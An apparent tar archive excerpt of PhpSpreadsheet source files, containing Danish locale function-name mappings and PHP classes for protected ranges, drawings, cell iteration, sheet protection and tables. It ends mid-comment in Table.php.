NUMBERSTRING = TALSTRENG NUMBERVALUE = TALVÆRDI PHONETIC = FONETISK PROPER = STORT.FORBOGSTAV REPLACE = ERSTAT REPT = GENTAG RIGHT = HØJRE SEARCH = SØG SUBSTITUTE = UDSKIFT T = T TEXT = TEKST TEXTJOIN = TEKST.KOMBINER THAIDIGIT = THAILANDSKCIFFER THAINUMSOUND = THAILANDSKNUMLYD THAINUMSTRING = THAILANDSKNUMSTRENG THAISTRINGLENGTH = THAILANDSKSTRENGLÆNGDE TRIM = FJERN.OVERFLØDIGE.BLANKE UNICHAR = UNICHAR UNICODE = UNICODE UPPER = STORE.BOGSTAVER VALUE = VÆRDI ## ## Webfunktioner (Web Functions) ## ENCODEURL = KODNINGSURL FILTERXML = FILTRERXML WEBSERVICE = WEBTJENESTE ## ## Kompatibilitetsfunktioner (Compatibility Functions) ## BETADIST = BETAFORDELING BETAINV = BETAINV BINOMDIST = BINOMIALFORDELING CEILING = AFRUND.LOFT CHIDIST = CHIFORDELING CHIINV = CHIINV CHITEST = CHITEST CONCATENATE = SAMMENKÆDNING CONFIDENCE = KONFIDENSINTERVAL COVAR = KOVARIANS CRITBINOM = KRITBINOM EXPONDIST = EKSPFORDELING FDIST = FFORDELING FINV = FINV FLOOR = AFRUND.GULV FORECAST = PROGNOSE FTEST = FTEST GAMMADIST = GAMMAFORDELING GAMMAINV = GAMMAINV HYPGEOMDIST = HYPGEOFORDELING LOGINV = LOGINV LOGNORMDIST = LOGNORMFORDELING MODE = HYPPIGST NEGBINOMDIST = NEGBINOMFORDELING NORMDIST = NORMFORDELING NORMINV = NORMINV NORMSDIST = STANDARDNORMFORDELING NORMSINV = STANDARDNORMINV PERCENTILE = FRAKTIL PERCENTRANK = PROCENTPLADS POISSON = POISSON QUARTILE = KVARTIL RANK = PLADS STDEV = STDAFV STDEVP = STDAFVP TDIST = TFORDELING TINV = TINV TTEST = TTEST VAR = VARIANS VARP = VARIANSP WEIBULL = WEIBULL ZTEST = ZTEST phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/da/config000064400000000467151676714400022527 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Dansk (Danish) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #NUL! DIV0 VALUE = #VÆRDI! REF = #REFERENCE! NAME = #NAVN? NUM NA = #I/T phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/ProtectedRange.php000064400000001666151676714400022652 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; class ProtectedRange { private string $name = ''; private string $password = ''; private string $sqref; private string $securityDescriptor = ''; /** * No setters aside from constructor. */ public function __construct(string $sqref, string $password = '', string $name = '', string $securityDescriptor = '') { $this->sqref = $sqref; $this->name = $name; $this->password = $password; $this->securityDescriptor = $securityDescriptor; } public function getSqref(): string { return $this->sqref; } public function getName(): string { return $this->name ?: ('p' . md5($this->sqref)); } public function getPassword(): string { return $this->password; } public function getSecurityDescriptor(): string { return $this->securityDescriptor; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/BaseDrawing.php000064400000027761151676714400022136 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\Hyperlink; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\IComparable; use PhpOffice\PhpSpreadsheet\Worksheet\Drawing\Shadow; use SimpleXMLElement; class BaseDrawing implements IComparable { const EDIT_AS_ABSOLUTE = 'absolute'; const EDIT_AS_ONECELL = 'oneCell'; const EDIT_AS_TWOCELL = 'twoCell'; private const VALID_EDIT_AS = [ self::EDIT_AS_ABSOLUTE, self::EDIT_AS_ONECELL, self::EDIT_AS_TWOCELL, ]; /** * The editAs attribute, used only with two cell anchor. */ protected string $editAs = ''; /** * Image counter. */ private static int $imageCounter = 0; /** * Image index. */ private int $imageIndex; /** * Name. */ protected string $name = ''; /** * Description. */ protected string $description = ''; /** * Worksheet. */ protected ?Worksheet $worksheet = null; /** * Coordinates. */ protected string $coordinates = 'A1'; /** * Offset X. */ protected int $offsetX = 0; /** * Offset Y. */ protected int $offsetY = 0; /** * Coordinates2. */ protected string $coordinates2 = ''; /** * Offset X2. */ protected int $offsetX2 = 0; /** * Offset Y2. */ protected int $offsetY2 = 0; /** * Width. */ protected int $width = 0; /** * Height. */ protected int $height = 0; /** * Pixel width of image. See $width for the size the Drawing will be in the sheet. */ protected int $imageWidth = 0; /** * Pixel width of image. See $height for the size the Drawing will be in the sheet. */ protected int $imageHeight = 0; /** * Proportional resize. */ protected bool $resizeProportional = true; /** * Rotation. */ protected int $rotation = 0; protected bool $flipVertical = false; protected bool $flipHorizontal = false; /** * Shadow. */ protected Shadow $shadow; /** * Image hyperlink. */ private ?Hyperlink $hyperlink = null; /** * Image type. */ protected int $type = IMAGETYPE_UNKNOWN; /** @var null|SimpleXMLElement|string[] */ protected $srcRect = []; /** * Create a new BaseDrawing. */ public function __construct() { // Initialise values $this->setShadow(); // Set image index ++self::$imageCounter; $this->imageIndex = self::$imageCounter; } public function __destruct() { $this->worksheet = null; } public function getImageIndex(): int { return $this->imageIndex; } public function getName(): string { return $this->name; } public function setName(string $name): self { $this->name = $name; return $this; } public function getDescription(): string { return $this->description; } public function setDescription(string $description): self { $this->description = $description; return $this; } public function getWorksheet(): ?Worksheet { return $this->worksheet; } /** * Set Worksheet. * * @param bool $overrideOld If a Worksheet has already been assigned, overwrite it and remove image from old Worksheet? */ public function setWorksheet(?Worksheet $worksheet = null, bool $overrideOld = false): self { if ($this->worksheet === null) { // Add drawing to \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet if ($worksheet !== null) { $this->worksheet = $worksheet; $this->worksheet->getCell($this->coordinates); $this->worksheet->getDrawingCollection()->append($this); } } else { if ($overrideOld) { // Remove drawing from old \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $iterator = $this->worksheet->getDrawingCollection()->getIterator(); while ($iterator->valid()) { if ($iterator->current()->getHashCode() === $this->getHashCode()) { $this->worksheet->getDrawingCollection()->offsetUnset($iterator->key()); $this->worksheet = null; break; } } // Set new \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $this->setWorksheet($worksheet); } else { throw new PhpSpreadsheetException('A Worksheet has already been assigned. Drawings can only exist on one \\PhpOffice\\PhpSpreadsheet\\Worksheet.'); } } return $this; } public function getCoordinates(): string { return $this->coordinates; } public function setCoordinates(string $coordinates): self { $this->coordinates = $coordinates; return $this; } public function getOffsetX(): int { return $this->offsetX; } public function setOffsetX(int $offsetX): self { $this->offsetX = $offsetX; return $this; } public function getOffsetY(): int { return $this->offsetY; } public function setOffsetY(int $offsetY): self { $this->offsetY = $offsetY; return $this; } public function getCoordinates2(): string { return $this->coordinates2; } public function setCoordinates2(string $coordinates2): self { $this->coordinates2 = $coordinates2; return $this; } public function getOffsetX2(): int { return $this->offsetX2; } public function setOffsetX2(int $offsetX2): self { $this->offsetX2 = $offsetX2; return $this; } public function getOffsetY2(): int { return $this->offsetY2; } public function setOffsetY2(int $offsetY2): self { $this->offsetY2 = $offsetY2; return $this; } public function getWidth(): int { return $this->width; } public function setWidth(int $width): self { // Resize proportional? if ($this->resizeProportional && $width != 0) { $ratio = $this->height / ($this->width != 0 ? $this->width : 1); $this->height = (int) round($ratio * $width); } // Set width $this->width = $width; return $this; } public function getHeight(): int { return $this->height; } public function setHeight(int $height): self { // Resize proportional? if ($this->resizeProportional && $height != 0) { $ratio = $this->width / ($this->height != 0 ? $this->height : 1); $this->width = (int) round($ratio * $height); } // Set height $this->height = $height; return $this; } /** * Set width and height with proportional resize. * * Example: * <code> * $objDrawing->setResizeProportional(true); * $objDrawing->setWidthAndHeight(160,120); * </code> * * @author Vincent@luo MSN:kele_100@hotmail.com */ public function setWidthAndHeight(int $width, int $height): self { $xratio = $width / ($this->width != 0 ? $this->width : 1); $yratio = $height / ($this->height != 0 ? $this->height : 1); if ($this->resizeProportional && !($width == 0 || $height == 0)) { if (($xratio * $this->height) < $height) { $this->height = (int) ceil($xratio * $this->height); $this->width = $width; } else { $this->width = (int) ceil($yratio * $this->width); $this->height = $height; } } else { $this->width = $width; $this->height = $height; } return $this; } public function getResizeProportional(): bool { return $this->resizeProportional; } public function setResizeProportional(bool $resizeProportional): self { $this->resizeProportional = $resizeProportional; return $this; } public function getRotation(): int { return $this->rotation; } public function setRotation(int $rotation): self { $this->rotation = $rotation; return $this; } public function getShadow(): Shadow { return $this->shadow; } public function setShadow(?Shadow $shadow = null): self { $this->shadow = $shadow ?? new Shadow(); return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->name . $this->description . (($this->worksheet === null) ? '' : $this->worksheet->getHashCode()) . $this->coordinates . $this->offsetX . $this->offsetY . $this->coordinates2 . $this->offsetX2 . $this->offsetY2 . $this->width . $this->height . $this->rotation . $this->shadow->getHashCode() . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if ($key == 'worksheet') { $this->worksheet = null; } elseif (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } public function setHyperlink(?Hyperlink $hyperlink = null): void { $this->hyperlink = $hyperlink; } public function getHyperlink(): ?Hyperlink { return $this->hyperlink; } /** * Set Fact Sizes and Type of Image. */ protected function setSizesAndType(string $path): void { if ($this->imageWidth === 0 && $this->imageHeight === 0 && $this->type === IMAGETYPE_UNKNOWN) { $imageData = getimagesize($path); if (!empty($imageData)) { $this->imageWidth = $imageData[0]; $this->imageHeight = $imageData[1]; $this->type = $imageData[2]; } } if ($this->width === 0 && $this->height === 0) { $this->width = $this->imageWidth; $this->height = $this->imageHeight; } } /** * Get Image Type. */ public function getType(): int { return $this->type; } public function getImageWidth(): int { return $this->imageWidth; } public function getImageHeight(): int { return $this->imageHeight; } public function getEditAs(): string { return $this->editAs; } public function setEditAs(string $editAs): self { $this->editAs = $editAs; return $this; } public function validEditAs(): bool { return in_array($this->editAs, self::VALID_EDIT_AS, true); } /** * @return null|SimpleXMLElement|string[] */ public function getSrcRect() { return $this->srcRect; } /** * @param null|SimpleXMLElement|string[] $srcRect */ public function setSrcRect($srcRect): self { $this->srcRect = $srcRect; return $this; } public function setFlipHorizontal(bool $flipHorizontal): self { $this->flipHorizontal = $flipHorizontal; return $this; } public function getFlipHorizontal(): bool { return $this->flipHorizontal; } public function setFlipVertical(bool $flipVertical): self { $this->flipVertical = $flipVertical; return $this; } public function getFlipVertical(): bool { return $this->flipVertical; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/CellIterator.php000064400000003716151676714400022333 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use Iterator as NativeIterator; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Collection\Cells; /** * @template TKey * * @implements NativeIterator<TKey, Cell> */ abstract class CellIterator implements NativeIterator { public const TREAT_NULL_VALUE_AS_EMPTY_CELL = 1; public const TREAT_EMPTY_STRING_AS_EMPTY_CELL = 2; public const IF_NOT_EXISTS_RETURN_NULL = false; public const IF_NOT_EXISTS_CREATE_NEW = true; /** * Worksheet to iterate. */ protected Worksheet $worksheet; /** * Cell Collection to iterate. */ protected Cells $cellCollection; /** * Iterate only existing cells. */ protected bool $onlyExistingCells = false; /** * If iterating all cells, and a cell doesn't exist, identifies whether a new cell should be created, * or if the iterator should return a null value. */ protected bool $ifNotExists = self::IF_NOT_EXISTS_CREATE_NEW; /** * Destructor. */ public function __destruct() { unset($this->worksheet, $this->cellCollection); } public function getIfNotExists(): bool { return $this->ifNotExists; } public function setIfNotExists(bool $ifNotExists = self::IF_NOT_EXISTS_CREATE_NEW): void { $this->ifNotExists = $ifNotExists; } /** * Get loop only existing cells. */ public function getIterateOnlyExistingCells(): bool { return $this->onlyExistingCells; } /** * Validate start/end values for 'IterateOnlyExistingCells' mode, and adjust if necessary. */ abstract protected function adjustForExistingOnlyRange(): void; /** * Set the iterator to loop only existing cells. */ public function setIterateOnlyExistingCells(bool $value): void { $this->onlyExistingCells = (bool) $value; $this->adjustForExistingOnlyRange(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Protection.php000064400000024173151676714400022070 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Shared\PasswordHasher; class Protection { const ALGORITHM_MD2 = 'MD2'; const ALGORITHM_MD4 = 'MD4'; const ALGORITHM_MD5 = 'MD5'; const ALGORITHM_SHA_1 = 'SHA-1'; const ALGORITHM_SHA_256 = 'SHA-256'; const ALGORITHM_SHA_384 = 'SHA-384'; const ALGORITHM_SHA_512 = 'SHA-512'; const ALGORITHM_RIPEMD_128 = 'RIPEMD-128'; const ALGORITHM_RIPEMD_160 = 'RIPEMD-160'; const ALGORITHM_WHIRLPOOL = 'WHIRLPOOL'; /** * Autofilters are locked when sheet is protected, default true. */ private ?bool $autoFilter = null; /** * Deleting columns is locked when sheet is protected, default true. */ private ?bool $deleteColumns = null; /** * Deleting rows is locked when sheet is protected, default true. */ private ?bool $deleteRows = null; /** * Formatting cells is locked when sheet is protected, default true. */ private ?bool $formatCells = null; /** * Formatting columns is locked when sheet is protected, default true. */ private ?bool $formatColumns = null; /** * Formatting rows is locked when sheet is protected, default true. */ private ?bool $formatRows = null; /** * Inserting columns is locked when sheet is protected, default true. */ private ?bool $insertColumns = null; /** * Inserting hyperlinks is locked when sheet is protected, default true. */ private ?bool $insertHyperlinks = null; /** * Inserting rows is locked when sheet is protected, default true. */ private ?bool $insertRows = null; /** * Objects are locked when sheet is protected, default false. */ private ?bool $objects = null; /** * Pivot tables are locked when the sheet is protected, default true. */ private ?bool $pivotTables = null; /** * Scenarios are locked when sheet is protected, default false. */ private ?bool $scenarios = null; /** * Selection of locked cells is locked when sheet is protected, default false. */ private ?bool $selectLockedCells = null; /** * Selection of unlocked cells is locked when sheet is protected, default false. */ private ?bool $selectUnlockedCells = null; /** * Sheet is locked when sheet is protected, default false. */ private ?bool $sheet = null; /** * Sorting is locked when sheet is protected, default true. */ private ?bool $sort = null; /** * Hashed password. */ private string $password = ''; /** * Algorithm name. */ private string $algorithm = ''; /** * Salt value. */ private string $salt = ''; /** * Spin count. */ private int $spinCount = 10000; /** * Create a new Protection. */ public function __construct() { } /** * Is some sort of protection enabled? */ public function isProtectionEnabled(): bool { return $this->password !== '' || isset($this->sheet) || isset($this->objects) || isset($this->scenarios) || isset($this->formatCells) || isset($this->formatColumns) || isset($this->formatRows) || isset($this->insertColumns) || isset($this->insertRows) || isset($this->insertHyperlinks) || isset($this->deleteColumns) || isset($this->deleteRows) || isset($this->selectLockedCells) || isset($this->sort) || isset($this->autoFilter) || isset($this->pivotTables) || isset($this->selectUnlockedCells); } public function getSheet(): ?bool { return $this->sheet; } public function setSheet(?bool $sheet): self { $this->sheet = $sheet; return $this; } public function getObjects(): ?bool { return $this->objects; } public function setObjects(?bool $objects): self { $this->objects = $objects; return $this; } public function getScenarios(): ?bool { return $this->scenarios; } public function setScenarios(?bool $scenarios): self { $this->scenarios = $scenarios; return $this; } public function getFormatCells(): ?bool { return $this->formatCells; } public function setFormatCells(?bool $formatCells): self { $this->formatCells = $formatCells; return $this; } public function getFormatColumns(): ?bool { return $this->formatColumns; } public function setFormatColumns(?bool $formatColumns): self { $this->formatColumns = $formatColumns; return $this; } public function getFormatRows(): ?bool { return $this->formatRows; } public function setFormatRows(?bool $formatRows): self { $this->formatRows = $formatRows; return $this; } public function getInsertColumns(): ?bool { return $this->insertColumns; } public function setInsertColumns(?bool $insertColumns): self { $this->insertColumns = $insertColumns; return $this; } public function getInsertRows(): ?bool { return $this->insertRows; } public function setInsertRows(?bool $insertRows): self { $this->insertRows = $insertRows; return $this; } public function getInsertHyperlinks(): ?bool { return $this->insertHyperlinks; } public function setInsertHyperlinks(?bool $insertHyperLinks): self { $this->insertHyperlinks = $insertHyperLinks; return $this; } public function getDeleteColumns(): ?bool { return $this->deleteColumns; } public function setDeleteColumns(?bool $deleteColumns): self { $this->deleteColumns = $deleteColumns; return $this; } public function getDeleteRows(): ?bool { return $this->deleteRows; } public function setDeleteRows(?bool $deleteRows): self { $this->deleteRows = $deleteRows; return $this; } public function getSelectLockedCells(): ?bool { return $this->selectLockedCells; } public function setSelectLockedCells(?bool $selectLockedCells): self { $this->selectLockedCells = $selectLockedCells; return $this; } public function getSort(): ?bool { return $this->sort; } public function setSort(?bool $sort): self { $this->sort = $sort; return $this; } public function getAutoFilter(): ?bool { return $this->autoFilter; } public function setAutoFilter(?bool $autoFilter): self { $this->autoFilter = $autoFilter; return $this; } public function getPivotTables(): ?bool { return $this->pivotTables; } public function setPivotTables(?bool $pivotTables): self { $this->pivotTables = $pivotTables; return $this; } public function getSelectUnlockedCells(): ?bool { return $this->selectUnlockedCells; } public function setSelectUnlockedCells(?bool $selectUnlockedCells): self { $this->selectUnlockedCells = $selectUnlockedCells; return $this; } /** * Get hashed password. */ public function getPassword(): string { return $this->password; } /** * Set Password. * * @param bool $alreadyHashed If the password has already been hashed, set this to true * * @return $this */ public function setPassword(string $password, bool $alreadyHashed = false): static { if (!$alreadyHashed) { $salt = $this->generateSalt(); $this->setSalt($salt); $password = PasswordHasher::hashPassword($password, $this->getAlgorithm(), $this->getSalt(), $this->getSpinCount()); } $this->password = $password; return $this; } public function setHashValue(string $password): self { return $this->setPassword($password, true); } /** * Create a pseudorandom string. */ private function generateSalt(): string { return base64_encode(random_bytes(16)); } /** * Get algorithm name. */ public function getAlgorithm(): string { return $this->algorithm; } /** * Set algorithm name. */ public function setAlgorithm(string $algorithm): self { return $this->setAlgorithmName($algorithm); } /** * Set algorithm name. */ public function setAlgorithmName(string $algorithm): self { $this->algorithm = $algorithm; return $this; } public function getSalt(): string { return $this->salt; } public function setSalt(string $salt): self { return $this->setSaltValue($salt); } public function setSaltValue(string $salt): self { $this->salt = $salt; return $this; } /** * Get spin count. */ public function getSpinCount(): int { return $this->spinCount; } /** * Set spin count. */ public function setSpinCount(int $spinCount): self { $this->spinCount = $spinCount; return $this; } /** * Verify that the given non-hashed password can "unlock" the protection. */ public function verify(string $password): bool { if ($this->password === '') { return true; } $hash = PasswordHasher::hashPassword($password, $this->getAlgorithm(), $this->getSalt(), $this->getSpinCount()); return $this->getPassword() === $hash; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Table.php000064400000042125151676714400020766 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Table\TableStyle; use Stringable; class Table implements Stringable { /** * Table Name. */ private string $name; /** * Show Header Row. */ private bool $showHeaderRow = true; /** * Show Totals Row. */ private bool $showTotalsRow = false; /** * Table Range. */ private string $range = ''; /** * Table Worksheet. */ private ?Worksheet $workSheet = null; /** * Table allow filter. */ private bool $allowFilter = true; /** * Table Column. * * @var Table\Column[] */ private array $columns = []; /** * Table Style. */ private TableStyle $style; /** * Table AutoFilter. */ private AutoFilter $autoFilter; /** * Create a new Table. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range * A simple string containing a Cell range like 'A1:E10' is permitted * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or an AddressRange object. * @param string $name (e.g. Table1) */ public function __construct(AddressRange|string|array $range = '', string $name = '') { $this->style = new TableStyle(); $this->autoFilter = new AutoFilter($range); $this->setRange($range); $this->setName($name); } /** * Code to execute when this table is unset(). */ public function __destruct() { $this->workSheet = null; } /** * Get Table name. */ public function getName(): string { return $this->name; } /** * Set Table name. * * @throws PhpSpreadsheetException */ public function setName(string $name): self { $name = trim($name); if (!empty($name)) { if (strlen($name) === 1 && in_array($name, ['C', 'c', 'R', 'r'])) { throw new PhpSpreadsheetException('The table name is invalid'); } if (StringHelper::countCharacters($name) > 255) { throw new PhpSpreadsheetException('The table name cannot be longer than 255 characters'); } // Check for A1 or R1C1 cell reference notation if ( preg_match(Coordinate::A1_COORDINATE_REGEX, $name) || preg_match('/^R\[?\-?[0-9]*\]?C\[?\-?[0-9]*\]?$/i', $name) ) { throw new PhpSpreadsheetException('The table name can\'t be the same as a cell reference'); } if (!preg_match('/^[\p{L}_\\\\]/iu', $name)) { throw new PhpSpreadsheetException('The table name must begin a name with a letter, an underscore character (_), or a backslash (\)'); } if (!preg_match('/^[\p{L}_\\\\][\p{L}\p{M}0-9\._]+$/iu', $name)) { throw new PhpSpreadsheetException('The table name contains invalid characters'); } $this->checkForDuplicateTableNames($name, $this->workSheet); $this->updateStructuredReferences($name); } $this->name = $name; return $this; } /** * @throws PhpSpreadsheetException */ private function checkForDuplicateTableNames(string $name, ?Worksheet $worksheet): void { // Remember that table names are case-insensitive $tableName = StringHelper::strToLower($name); if ($worksheet !== null && StringHelper::strToLower($this->name) !== $name) { $spreadsheet = $worksheet->getParentOrThrow(); foreach ($spreadsheet->getWorksheetIterator() as $sheet) { foreach ($sheet->getTableCollection() as $table) { if (StringHelper::strToLower($table->getName()) === $tableName && $table != $this) { throw new PhpSpreadsheetException("Spreadsheet already contains a table named '{$this->name}'"); } } } } } private function updateStructuredReferences(string $name): void { if (!$this->workSheet || !$this->name) { return; } // Remember that table names are case-insensitive if (StringHelper::strToLower($this->name) !== StringHelper::strToLower($name)) { // We need to check all formula cells that might contain fully-qualified Structured References // that refer to this table, and update those formulae to reference the new table name $spreadsheet = $this->workSheet->getParentOrThrow(); foreach ($spreadsheet->getWorksheetIterator() as $sheet) { $this->updateStructuredReferencesInCells($sheet, $name); } $this->updateStructuredReferencesInNamedFormulae($spreadsheet, $name); } } private function updateStructuredReferencesInCells(Worksheet $worksheet, string $newName): void { $pattern = '/' . preg_quote($this->name, '/') . '\[/mui'; foreach ($worksheet->getCoordinates(false) as $coordinate) { $cell = $worksheet->getCell($coordinate); if ($cell->getDataType() === DataType::TYPE_FORMULA) { $formula = $cell->getValueString(); if (preg_match($pattern, $formula) === 1) { $formula = preg_replace($pattern, "{$newName}[", $formula); $cell->setValueExplicit($formula, DataType::TYPE_FORMULA); } } } } private function updateStructuredReferencesInNamedFormulae(Spreadsheet $spreadsheet, string $newName): void { $pattern = '/' . preg_quote($this->name, '/') . '\[/mui'; foreach ($spreadsheet->getNamedFormulae() as $namedFormula) { $formula = $namedFormula->getValue(); if (preg_match($pattern, $formula) === 1) { $formula = preg_replace($pattern, "{$newName}[", $formula) ?? ''; $namedFormula->setValue($formula); } } } /** * Get show Header Row. */ public function getShowHeaderRow(): bool { return $this->showHeaderRow; } /** * Set show Header Row. */ public function setShowHeaderRow(bool $showHeaderRow): self { $this->showHeaderRow = $showHeaderRow; return $this; } /** * Get show Totals Row. */ public function getShowTotalsRow(): bool { return $this->showTotalsRow; } /** * Set show Totals Row. */ public function setShowTotalsRow(bool $showTotalsRow): self { $this->showTotalsRow = $showTotalsRow; return $this; } /** * Get allow filter. * If false, autofiltering is disabled for the table, if true it is enabled. */ public function getAllowFilter(): bool { return $this->allowFilter; } /** * Set show Autofiltering. * Disabling autofiltering has the same effect as hiding the filter button on all the columns in the table. */ public function setAllowFilter(bool $allowFilter): self { $this->allowFilter = $allowFilter; return $this; } /** * Get Table Range. */ public function getRange(): string { return $this->range; } /** * Set Table Cell Range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range * A simple string containing a Cell range like 'A1:E10' is permitted * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or an AddressRange object. */ public function setRange(AddressRange|string|array $range = ''): self { // extract coordinate if ($range !== '') { [, $range] = Worksheet::extractSheetTitle(Validations::validateCellRange($range), true); } if (empty($range)) { // Discard all column rules $this->columns = []; $this->range = ''; return $this; } if (!str_contains($range, ':')) { throw new PhpSpreadsheetException('Table must be set on a range of cells.'); } [$width, $height] = Coordinate::rangeDimension($range); if ($width < 1 || $height < 1) { throw new PhpSpreadsheetException('The table range must be at least 1 column and row'); } $this->range = $range; $this->autoFilter->setRange($range); // Discard any column rules that are no longer valid within this range [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($this->range); foreach ($this->columns as $key => $value) { $colIndex = Coordinate::columnIndexFromString($key); if (($rangeStart[0] > $colIndex) || ($rangeEnd[0] < $colIndex)) { unset($this->columns[$key]); } } return $this; } /** * Set Table Cell Range to max row. */ public function setRangeToMaxRow(): self { if ($this->workSheet !== null) { $thisrange = $this->range; $range = (string) preg_replace('/\\d+$/', (string) $this->workSheet->getHighestRow(), $thisrange); if ($range !== $thisrange) { $this->setRange($range); } } return $this; } /** * Get Table's Worksheet. */ public function getWorksheet(): ?Worksheet { return $this->workSheet; } /** * Set Table's Worksheet. */ public function setWorksheet(?Worksheet $worksheet = null): self { if ($this->name !== '' && $worksheet !== null) { $spreadsheet = $worksheet->getParentOrThrow(); $tableName = StringHelper::strToUpper($this->name); foreach ($spreadsheet->getWorksheetIterator() as $sheet) { foreach ($sheet->getTableCollection() as $table) { if (StringHelper::strToUpper($table->getName()) === $tableName) { throw new PhpSpreadsheetException("Workbook already contains a table named '{$this->name}'"); } } } } $this->workSheet = $worksheet; $this->autoFilter->setParent($worksheet); return $this; } /** * Get all Table Columns. * * @return Table\Column[] */ public function getColumns(): array { return $this->columns; } /** * Validate that the specified column is in the Table range. * * @param string $column Column name (e.g. A) * * @return int The column offset within the table range */ public function isColumnInRange(string $column): int { if (empty($this->range)) { throw new PhpSpreadsheetException('No table range is defined.'); } $columnIndex = Coordinate::columnIndexFromString($column); [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($this->range); if (($rangeStart[0] > $columnIndex) || ($rangeEnd[0] < $columnIndex)) { throw new PhpSpreadsheetException('Column is outside of current table range.'); } return $columnIndex - $rangeStart[0]; } /** * Get a specified Table Column Offset within the defined Table range. * * @param string $column Column name (e.g. A) * * @return int The offset of the specified column within the table range */ public function getColumnOffset(string $column): int { return $this->isColumnInRange($column); } /** * Get a specified Table Column. * * @param string $column Column name (e.g. A) */ public function getColumn(string $column): Table\Column { $this->isColumnInRange($column); if (!isset($this->columns[$column])) { $this->columns[$column] = new Table\Column($column, $this); } return $this->columns[$column]; } /** * Get a specified Table Column by it's offset. * * @param int $columnOffset Column offset within range (starting from 0) */ public function getColumnByOffset(int $columnOffset): Table\Column { [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($this->range); $pColumn = Coordinate::stringFromColumnIndex($rangeStart[0] + $columnOffset); return $this->getColumn($pColumn); } /** * Set Table. * * @param string|Table\Column $columnObjectOrString * A simple string containing a Column ID like 'A' is permitted */ public function setColumn(string|Table\Column $columnObjectOrString): self { if ((is_string($columnObjectOrString)) && (!empty($columnObjectOrString))) { $column = $columnObjectOrString; } elseif (is_object($columnObjectOrString) && ($columnObjectOrString instanceof Table\Column)) { $column = $columnObjectOrString->getColumnIndex(); } else { throw new PhpSpreadsheetException('Column is not within the table range.'); } $this->isColumnInRange($column); if (is_string($columnObjectOrString)) { $this->columns[$columnObjectOrString] = new Table\Column($columnObjectOrString, $this); } else { $columnObjectOrString->setTable($this); $this->columns[$column] = $columnObjectOrString; } ksort($this->columns); return $this; } /** * Clear a specified Table Column. * * @param string $column Column name (e.g. A) */ public function clearColumn(string $column): self { $this->isColumnInRange($column); if (isset($this->columns[$column])) { unset($this->columns[$column]); } return $this; } /** * Shift an Table Column Rule to a different column. * * Note: This method bypasses validation of the destination column to ensure it is within this Table range. * Nor does it verify whether any column rule already exists at $toColumn, but will simply override any existing value. * Use with caution. * * @param string $fromColumn Column name (e.g. A) * @param string $toColumn Column name (e.g. B) */ public function shiftColumn(string $fromColumn, string $toColumn): self { $fromColumn = strtoupper($fromColumn); $toColumn = strtoupper($toColumn); if (($fromColumn !== null) && (isset($this->columns[$fromColumn])) && ($toColumn !== null)) { $this->columns[$fromColumn]->setTable(); $this->columns[$fromColumn]->setColumnIndex($toColumn); $this->columns[$toColumn] = $this->columns[$fromColumn]; $this->columns[$toColumn]->setTable($this); unset($this->columns[$fromColumn]); ksort($this->columns); } return $this; } /** * Get table Style. */ public function getStyle(): TableStyle { return $this->style; } /** * Set table Style. */ public function setStyle(TableStyle $style): self { $this->style = $style; return $this; } /** * Get AutoFilter. */ public function getAutoFilter(): AutoFilter { return $this->autoFilter; } /** * Set AutoFilter. */ public function setAutoFilter(AutoFilter $autoFilter): self { $this->autoFilter = $autoFilter; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { if ($key === 'workSheet') { // Detach from worksheet $this->{$key} = null; } else { $this->{$key} = clone $value; } } elseif ((is_array($value)) && ($key === 'columns')) { // The columns array of \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet\Table objects $this->{$key} = []; foreach ($value as $k => $v) { $this->{$key}[$k] = clone $v; // attach the new cloned Column to this new cloned Table object $this->{$key}[$k]->setTable($this); } } else { $this->{$key} = $value; } } } /** * toString method replicates previous 